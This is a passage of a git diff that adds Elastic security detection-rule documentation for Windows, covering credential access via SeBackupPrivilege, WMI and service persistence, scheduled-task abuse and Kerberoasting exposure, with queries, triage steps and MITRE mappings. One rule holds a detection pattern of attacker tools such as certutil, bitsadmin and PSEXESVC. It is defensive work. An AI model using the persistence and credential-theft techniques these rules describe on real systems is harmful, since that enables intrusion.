+- Limit or disable the involved user account to prevent further post-compromise behavior.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Detailed File Share' audit policy is required be configured (Success) on Domain Controllers and Sensitive Windows Servers.
+Steps to implement the logging policy with Advanced Audit Configuration:
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+Object Access >
+Audit Detailed File Share (Success)
+```
+
+The 'Special Logon' audit policy must be configured (Success).
+Steps to implement the logging policy with Advanced Audit Configuration:
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+Logon/Logoff >
+Special Logon (Success)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, winlog.event_data.SubjectLogonId with maxspan=1m
+ [iam where host.os.type == "windows" and event.action == "logged-in-special" and
+  winlog.event_data.PrivilegeList : "SeBackupPrivilege" and
+
+  /* excluding accounts with existing privileged access */
+  not winlog.event_data.PrivilegeList : "SeDebugPrivilege"]
+ [any where host.os.type == "windows" and event.code == "5145" and winlog.event_data.RelativeTargetName : "winreg"]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: OS Credential Dumping
+** ID: T1003
+** Reference URL: https://attack.mitre.org/techniques/T1003/
+* Sub-technique:
+** Name: Security Account Manager
+** ID: T1003.002
+** Reference URL: https://attack.mitre.org/techniques/T1003/002/
+* Sub-technique:
+** Name: LSA Secrets
+** ID: T1003.004
+** Reference URL: https://attack.mitre.org/techniques/T1003/004/
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc
new file mode 100644
index 0000000000..18c25e8d43
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc
@@ -0,0 +1,126 @@
+[[prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use]]
+=== Suspicious SeIncreaseBasePriorityPrivilege Use
+
+Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/Octoberfest7/ThreadCPUAssignment_POC/tree/main
+* https://x.com/sixtyvividtails/status/1970721197617717483
+* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4674
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Suspicious SeIncreaseBasePriorityPrivilege Use*
+
+
+SeIncreaseBasePriorityPrivilege allows to increase the priority of processes running on the system so that the CPU scheduler allows them to pre-empt other lower priority processes when the higher priority process has something to do.
+
+
+*Possible investigation steps*
+
+
+- Review the process.executable reputation and it's execution chain.
+- Investiguate if the SubjectUserName is expected to perform this action.
+- Correlate the event with other security alerts or logs to identify any patterns or additional suspicious activities that might suggest a broader attack campaign.
+- Check the agent health status and verify if there is any tampering with endpoint security processes.
+
+
+*False positive analysis*
+
+
+- Administrative tasks involving legitimate CPU scheduling priority changes.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected machine from the network to prevent further unauthorized access or lateral movement within the domain.
+- Terminate the processes involved in the execution chain.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.
+
+==== Setup
+
+
+
+*Setup*
+
+
+Ensure advanced audit policies for Windows are enabled, specifically:
+Audit Sensitive Privilege Use https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4674[Event ID 4674] (An operation was attempted on a privileged object.)
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+Privilege Use >
+Audit Sensitive Privilege Use (Success)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.category:iam and host.os.type:"windows" and event.code:"4674" and
+winlog.event_data.PrivilegeList:"SeIncreaseBasePriorityPrivilege" and event.outcome:"success" and
+winlog.event_data.AccessMask:"512" and not winlog.event_data.SubjectUserSid:("S-1-5-18" or "S-1-5-19" or "S-1-5-20")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Access Token Manipulation
+** ID: T1134
+** Reference URL: https://attack.mitre.org/techniques/T1134/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system.asciidoc
new file mode 100644
index 0000000000..5a19294cb2
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system.asciidoc
@@ -0,0 +1,137 @@
+[[prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system]]
+=== Suspicious Service was Installed in the System
+
+Identifies the creation of a new Windows service with suspicious Service command values. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-system.system*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Resources: Investigation Guide
+* Data Source: Windows Security Event Logs
+* Data Source: Windows System Event Logs
+
+*Version*: 115
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Suspicious Service was Installed in the System*
+
+
+Attackers may create new services to execute system shells and other command execution utilities to elevate their privileges from administrator to SYSTEM. They can also configure services to execute these utilities with persistence payloads.
+
+This rule looks for suspicious services being created with suspicious traits compatible with the above behavior.
+
+> **Note**:
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+
+*Possible investigation steps*
+
+
+- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
+- Identify how the service was created or modified. Look for registry changes events or Windows events related to service activities (for example, 4697 and/or 7045).
+  - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries.
+    - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}}
+    - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}}
+    - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}}
+    - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}}
+    - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}}
+  - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.
+- Identify the user account that performed the action and whether it should perform this kind of action.
+- Contact the account owner and confirm whether they are aware of this activity.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts.
+
+
+
+*False positive analysis*
+
+
+- Certain services such as PSEXECSVC may happen legitimately. The security team should address any potential benign true positive (B-TP) by excluding the relevant FP by pattern.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the involved host to prevent further post-compromise behavior.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- Delete the service.
+- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+any where host.os.type == "windows" and
+  (event.code : "4697" and
+   (winlog.event_data.ServiceFileName : 
+           ("*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", "*PSEXESVC*", 
+            "*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*", 
+            "*\\Users\\*", "*\\Windows\\Temp\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*",
+            "*regsvr32*", "*msbuild*") or
+   winlog.event_data.ServiceFileName regex~ """%systemroot%\\[a-z0-9]+\.exe""")) or
+
+  (event.code : "7045" and
+   winlog.event_data.ImagePath : (
+       "*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", "*PSEXESVC*",
+       "*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*",
+       "*\\Users\\*", "*\\Windows\\Temp\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*",
+       "*regsvr32*", "*msbuild*"))
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create or Modify System Process
+** ID: T1543
+** Reference URL: https://attack.mitre.org/techniques/T1543/
+* Sub-technique:
+** Name: Windows Service
+** ID: T1543.003
+** Reference URL: https://attack.mitre.org/techniques/T1543/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created.asciidoc
new file mode 100644
index 0000000000..06b8e02ef7
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created.asciidoc
@@ -0,0 +1,125 @@
+[[prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created]]
+=== Suspicious WMI Event Subscription Created
+
+Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-windows.sysmon_operational-*
+* logs-endpoint.events.api-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
+* https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Data Source: Sysmon
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 311
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Suspicious WMI Event Subscription Created*
+
+
+Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. It allows for event subscriptions that can trigger actions based on system events. Adversaries exploit this for persistence by creating event subscriptions that execute malicious scripts or commands. The detection rule identifies such abuse by monitoring specific event codes and API calls related to the creation of suspicious WMI event consumers, flagging potential threats.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for event code 21 in the windows.sysmon_operational dataset to identify the specific WMI event subscription created, focusing on the winlog.event_data.Operation and winlog.event_data.Consumer fields.
+- Examine the process details associated with the IWbemServices::PutInstance API call in the endpoint.events.api dataset, particularly the process.Ext.api.parameters.consumer_type, to determine the nature of the consumer created.
+- Investigate the source and context of the command or script associated with the CommandLineEventConsumer or ActiveScriptEventConsumer to assess its legitimacy and potential malicious intent.
+- Check for any related processes or activities around the time of the event to identify potential lateral movement or further persistence mechanisms.
+- Correlate the findings with other security alerts or logs to determine if this event is part of a broader attack pattern or campaign.
+
+
+*False positive analysis*
+
+
+- Legitimate administrative scripts or tools may create WMI event subscriptions for system monitoring or automation. Review the source and context of the event to determine if it aligns with known administrative activities.
+- Software installations or updates might use WMI event subscriptions as part of their setup or configuration processes. Verify if the event coincides with recent software changes and consider excluding these specific events if they are routine.
+- Security software or management tools often use WMI for legitimate purposes. Identify and document these tools in your environment, and create exceptions for their known behaviors to reduce noise.
+- Scheduled tasks or system maintenance scripts may trigger similar events. Cross-reference with scheduled task logs or maintenance windows to confirm if these are expected activities.
+- Custom scripts developed in-house for system management might inadvertently match the detection criteria. Ensure these scripts are documented and consider excluding their specific signatures from the rule.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.
+- Terminate any suspicious processes associated with the WMI event subscription, specifically those linked to CommandLineEventConsumer or ActiveScriptEventConsumer.
+- Remove the malicious WMI event subscription by using WMI management tools or scripts to delete the identified event consumer.
+- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats.
+- Review and reset any compromised credentials, especially if SYSTEM privileges were potentially accessed or escalated.
+- Monitor the network for any signs of similar activity or attempts to recreate the WMI event subscription, using enhanced logging and alerting mechanisms.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+any where host.os.type == "windows" and
+ (
+   (event.dataset == "windows.sysmon_operational" and event.code == "21" and
+    ?winlog.event_data.Operation : "Created" and ?winlog.event_data.Consumer : ("*subscription:CommandLineEventConsumer*", "*subscription:ActiveScriptEventConsumer*")) or
+
+   (event.dataset == "endpoint.events.api" and event.provider == "Microsoft-Windows-WMI-Activity" and ?process.Ext.api.name == "IWbemServices::PutInstance" and
+    ?process.Ext.api.parameters.consumer_type in ("ActiveScriptEventConsumer", "CommandLineEventConsumer"))
+ )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Event Triggered Execution
+** ID: T1546
+** Reference URL: https://attack.mitre.org/techniques/T1546/
+* Sub-technique:
+** Name: Windows Management Instrumentation Event Subscription
+** ID: T1546.003
+** Reference URL: https://attack.mitre.org/techniques/T1546/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-temporarily-scheduled-task-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-temporarily-scheduled-task-creation.asciidoc
new file mode 100644
index 0000000000..ee5032536e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-temporarily-scheduled-task-creation.asciidoc
@@ -0,0 +1,131 @@
+[[prebuilt-rule-8-19-11-temporarily-scheduled-task-creation]]
+=== Temporarily Scheduled Task Creation
+
+Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Tactic: Execution
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 113
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Temporarily Scheduled Task Creation*
+
+
+Scheduled tasks in Windows environments automate routine tasks, but adversaries exploit them for persistence and execution by creating and quickly deleting tasks to mask malicious activity. The detection rule identifies such behavior by tracking task creation and deletion within a short timeframe, flagging potential misuse when these actions occur in rapid succession without typical user patterns.
+
+
+*Possible investigation steps*
+
+
+- Review the winlog.computer_name field to identify the affected system and determine if it is a critical asset or part of a sensitive network segment.
+- Examine the winlog.event_data.TaskName to understand the nature of the task created and deleted, and assess if it aligns with known legitimate tasks or appears suspicious.
+- Investigate the user.name associated with the task creation and deletion events to determine if the activity was performed by a legitimate user or potentially compromised account.
+- Check for any related events or logs around the same timeframe on the affected system to identify any additional suspicious activities or anomalies.
+- Correlate the task creation and deletion events with other security alerts or incidents to determine if this activity is part of a broader attack campaign or isolated incident.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks may trigger the rule if system administrators frequently create and delete scheduled tasks for maintenance purposes. To manage this, create exceptions for known administrative accounts or specific task names that are part of regular operations.
+- Automated scripts or software updates that temporarily create scheduled tasks can also cause false positives. Identify these scripts or update processes and exclude their associated user accounts or task names from the detection rule.
+- Some legitimate applications may use scheduled tasks for temporary operations. Review application documentation to confirm such behavior and exclude these applications by their task names or associated user accounts.
+- In environments with frequent testing or development activities, developers might create and delete tasks as part of their workflow. Consider excluding developer accounts or specific task names used in testing environments to reduce noise.
+- Scheduled tasks created by monitoring or security tools for short-lived operations can be mistaken for malicious activity. Verify these tools' behavior and exclude their task names or user accounts if they are known to be safe.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.
+- Review the scheduled task details, including the task name and associated scripts or executables, to identify any malicious payloads or commands.
+- Terminate any malicious processes or executables identified from the scheduled task analysis to stop ongoing threats.
+- Restore any altered or deleted system files from a known good backup to ensure system integrity.
+- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected.
+- Implement additional monitoring and alerting for similar scheduled task activities to enhance detection and prevent recurrence of this threat.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name, winlog.event_data.TaskName with maxspan=5m
+   [iam where host.os.type == "windows" and event.action == "scheduled-task-created" and not user.name : "*$"]
+   [iam where host.os.type == "windows" and event.action == "scheduled-task-deleted" and not user.name : "*$"]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-unusual-scheduled-task-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-unusual-scheduled-task-update.asciidoc
new file mode 100644
index 0000000000..eb60bb6b54
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-unusual-scheduled-task-update.asciidoc
@@ -0,0 +1,116 @@
+[[prebuilt-rule-8-19-11-unusual-scheduled-task-update]]
+=== Unusual Scheduled Task Update
+
+Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 116
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Unusual Scheduled Task Update*
+
+
+Scheduled tasks in Windows environments automate routine tasks, but adversaries can exploit them for persistence by modifying tasks to execute malicious code. The detection rule identifies first-time task modifications by non-system users, flagging potential unauthorized changes. By excluding known system accounts, it focuses on suspicious user activity, aiding in early threat detection.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for event code 4702 to identify the specific scheduled task that was modified and the user account responsible for the change.
+- Investigate the user account involved in the modification to determine if it is a legitimate user or potentially compromised. Check for any recent unusual activity associated with this account.
+- Examine the details of the modified scheduled task, including the command or script it is set to execute, to assess if it is potentially malicious or unauthorized.
+- Cross-reference the scheduled task's modification time with other security events or logs to identify any correlated suspicious activities or anomalies.
+- Check the history of the scheduled task to determine if this is the first modification or if there have been previous changes that might indicate a pattern of unauthorized access.
+
+
+*False positive analysis*
+
+
+- Scheduled task modifications by IT administrators performing routine maintenance can trigger alerts. To manage this, create exceptions for known administrator accounts that regularly update tasks.
+- Software updates or installations by trusted applications may modify scheduled tasks. Identify these applications and exclude their associated user accounts or processes from the rule.
+- Automated scripts or management tools that modify tasks as part of their normal operation can be mistaken for suspicious activity. Document these tools and exclude their activity from detection.
+- Temporary user accounts used for specific projects or tasks might modify scheduled tasks. If these accounts are verified and trusted, consider excluding them from the rule during their active period.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized scheduled task modifications or potential lateral movement by the adversary.
+- Terminate any suspicious processes associated with the modified scheduled task to halt any ongoing malicious activity.
+- Review the modified scheduled task details, including the command or script being executed, and remove or disable any malicious components identified.
+- Reset the credentials of the user account involved in the modification to prevent further unauthorized access, and investigate for any signs of credential compromise.
+- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems.
+- Implement additional monitoring and alerting for scheduled task modifications across the environment to enhance detection of similar threats in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.category: "iam" and host.os.type:"windows" and event.code: "4702" and
+  not winlog.event_data.SubjectUserSid: ("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and
+  not user.name : *$
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting.asciidoc
new file mode 100644
index 0000000000..b4d4d72579
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting.asciidoc
@@ -0,0 +1,154 @@
+[[prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting]]
+=== User account exposed to Kerberoasting
+
+Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting
+* https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/
+* https://www.thehacker.recipes/ad/movement/kerberos/kerberoast
+* https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting
+* https://adsecurity.org/?p=280
+* https://github.com/OTRF/Set-AuditRule
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Active Directory
+* Resources: Investigation Guide
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+
+*Version*: 219
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating User account exposed to Kerberoasting*
+
+
+Service Principal Names (SPNs) are names by which Kerberos clients uniquely identify service instances for Kerberos target computers.
+
+By default, only computer accounts have SPNs, which creates no significant risk, since machine accounts have a default domain policy that rotates their passwords every 30 days, and the password is composed of 120 random characters, making them invulnerable to Kerberoasting.
+
